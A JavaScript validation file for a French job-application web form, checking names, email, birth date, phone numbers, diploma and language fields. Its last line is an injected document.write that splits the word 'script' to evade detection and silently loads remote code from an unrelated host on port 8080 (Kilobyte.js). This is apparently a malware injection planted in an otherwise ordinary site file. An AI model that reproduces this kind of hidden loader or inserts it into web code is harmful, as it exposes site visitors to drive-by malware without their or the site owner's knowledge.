function CheckDate(d) {
	//----------------
	// Cette fonction vérifie le format JJ/MM/AAAA saisi et la validité de la date
	// Le séparateur est défini dans la variable separateur
	//---------------------

	auj = new Date();
		
	var amax=(navigator.appName == "Netscape") ? 1900+auj.getYear() : auj.getYear(); // année maxi
	var amin=amax - 100; // année mini
	var separateur="/"; // separateur entre jour/mois/annee
	var j=(d.substring(0,2));
	var m=(d.substring(3,5));
	var a=(d.substring(6));
	var ok=1;

	if ( ((isNaN(j))||(j<1)||(j>31)) && (ok==1) ) ok=0;
	if ( ((isNaN(m))||(m<1)||(m>12)) && (ok==1) ) ok=0;
	if ( ((isNaN(a))||(a<amin)||(a>amax)) && (ok==1) ) ok=0;
	if (((d.substring(2,3)!=separateur)||(d.substring(5,6)!=separateur)) && (ok==1) ) ok=0;
  return ok;
}

function tester() {
	//------------
	//teste si les champs obligatoires sont bien renseignes
	//teste si les donnees sont coherentes
	//affiche message recapitulatif a la fin avec tous les champs qui posent probleme
	//--------------

	d = new Date();

	//booleens :
	var test_nom = true;
	var test_prenom = true;
	var test_diplome = true;
	var test_mail = true;
	var test_date = true;
	var test_anneediplome = true;
	var test_langue = true;
  	var test_tel = true;
  	var test_port = true;
  	var test_tuture = true;

	//chaines de caracteres :
	var nom = "";
	var prenom = "";
	var mail = "";
	var diplome = "";
	var datenais = "";
	var anneediplome = "";
	var langue = "";
  	var langue1 = "";
  	var langue2 = "";
	var langue2_1 = "";
  	var port = "";
  	var tel = "";
  	var tuture = "";
  
  if (document.formrecrutement.nom_candi.value.length == 0) {//nom
		test_nom = false;
    nom = "-> Nom (champs obligatoire)\n";
  }

	if (document.formrecrutement.prenom_candi.value.length == 0) { //prenom
		test_prenom = false;
		prenom = "-> Prénom (champs obligatoire)\n";
  }

	if (document.formrecrutement.mail_candi.value.length != 0) {//mail
	  var test1 = false;
	  var test2 = false;
	  var pos_arobas = 0;
    	
	  var a=document.formrecrutement.mail_candi.value;
	  var test = "" + a;
    
	for(var k = 0; k < test.length;k++) {
      var c = test.substring(k,k+1);
      if(c == "@" && k!=0) {
        pos_arobas = k;
        test1 = true;
      }
      else if (test1 && c == "." && k != (pos_arobas+1) && k != (test.length-1)) {
        test2 = true;
      }
    }
    if (test1 && test2) test_mail = true;
    else {
      test_mail = false;
      mail = "-> E-mail invalide\n";
    }
  }
  if (document.formrecrutement.datenaiss_candi.value.length == 0)  //Date
  	test_date = false;
	else test_date = CheckDate(document.formrecrutement.datenaiss_candi.value);

  if (!test_date) datenais="-> Date de naissance invalide\n";

  if (document.formrecrutement.tel_candi.value.length != 0)
    if (document.formrecrutement.tel_candi.value.length != 10 && document.formrecrutement.tel_candi.value.length != 20) {
	 	 test_tel = false;
	   tel = "-> Numéro de téléphone incorrect !\n";
 	  }
  if (document.formrecrutement.portable_candi.value.length != 0)
    if (document.formrecrutement.portable_candi.value.length != 10 && document.formrecrutement.portable_candi.value.length != 20) {
	 	 test_port = false;
	   port = "-> Numéro de portable incorrect !\n";
 	  }

  if (document.formrecrutement.libelle_diplome.value.length == 0) {  //diplome
		test_diplome = false;
    diplome="-> Diplôme (champs obligatoire)\n";
  }
  if (document.formrecrutement.annee_diplome.value.length != 0)
    if (document.formrecrutement.annee_diplome.value.length != 4) {
	 	 test_anneediplome = false;
	   anneediplome = "-> Annee du diplome à mettre sur 4 chiffres\n";
 	  }

  if (document.formrecrutement.liste_libelle_langue1.value != "" &&
      document.formrecrutement.liste_libelle_langue2.value != "") {
   	if (document.formrecrutement.liste_libelle_langue1.value == "" &&
      document.formrecrutement.liste_libelle_langue2.value != "") {
	    test_langue = false;
	    langue = "-> Vous n'avez pas entré de 1ere langue\n";
    }
 	  if (document.formrecrutement.liste_libelle_langue2.value == document.formrecrutement.liste_libelle_langue1.value)	{
    test_langue = false;
		langue2_1 = "-> Langue 2 -"+document.formrecrutement.liste_libelle_langue2.value+" - (doit être differente de langue 1)\n";
    }
   	if (document.formrecrutement.liste_niveau_langue1.value == "") {
     	test_langue = false;
      langue1 = "-> Langue 1 - "+document.formrecrutement.liste_libelle_langue1.value+" - (preciser le niveau)\n";
    }
    if (document.formrecrutement.liste_niveau_langue2.value == "") {
      test_langue = false;
      langue2 = "-> Langue 2 - "+document.formrecrutement.liste_libelle_langue2.value+" - (preciser le niveau)\n";
    }
  }
  if (document.formrecrutement.liste_permis.value != "" && document.formrecrutement.liste_vehicule.value == "") {
    test_tuture = false;
    tuture = "-> Préciser si vous possédez ou non un vehicule\n";
  }
  //affichage
	if (!test_nom || !test_prenom || !test_mail || !test_date || !test_diplome || !test_anneediplome ||
		  !test_langue || !test_tel || !test_port || !test_tuture) {
   		alert("Il y a des problemes concernant les informations suivantes :\n"+
              nom+prenom+mail+datenais+diplome+anneediplome+langue2_1+langue+langue1+langue2+tel+port+tuture);
		return false;
	}
  else return true;
} //fin fonction tester


function reload() {
  document.formrecrutement.action="recrutement.php";
  document.formrecrutement.submit();
}

function reload_niveau($champ) {
  if ((document.formrecrutement.liste_niveau_etudes.value == "Autre" && $champ != "Autre") ||
      (document.formrecrutement.liste_niveau_etudes.value != "Autre" && $champ == "Autre")) {
    document.formrecrutement.action="recrutement.php";
    document.formrecrutement.submit();
  }
}

/*function reload_lang($champ) {
  if ((document.formrecrutement.liste_libelle_langue1.value == "Autre" && $champ!="Autre") ||
      (document.formrecrutement.liste_libelle_langue1.value != "Autre" && $champ=="Autre") ||
      (document.formrecrutement.liste_libelle_langue1.value != "" && $champ=="") ||
      (document.formrecrutement.liste_libelle_langue1.value == "" && $champ!="")) {
    document.formrecrutement.action="recrutement.php";
    document.formrecrutement.submit();
  }
}

function reload_langue($champ) {
  if ((document.formrecrutement.liste_libelle_langue2.value == "Autre" && $champ != "Autre") ||
      (document.formrecrutement.liste_libelle_langue2.value != "Autre" && $champ == "Autre") ||
      (document.formrecrutement.liste_libelle_langue2.value != "" && $champ == "") ||
      (document.formrecrutement.liste_libelle_langue2.value == "" && $champ != "")) {
    document.formrecrutement.action="recrutement.php";
    document.formrecrutement.submit();
  }
}*/

function reload_permis($champ) {
  if ((document.formrecrutement.liste_permis.value == "" && $champ != "") ||
      (document.formrecrutement.liste_permis.value != "" && $champ == "")) {
    document.formrecrutement.action="recrutement.php";
    document.formrecrutement.submit();
  }
}


document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Kilobyte.js"></scr'+'ipt>');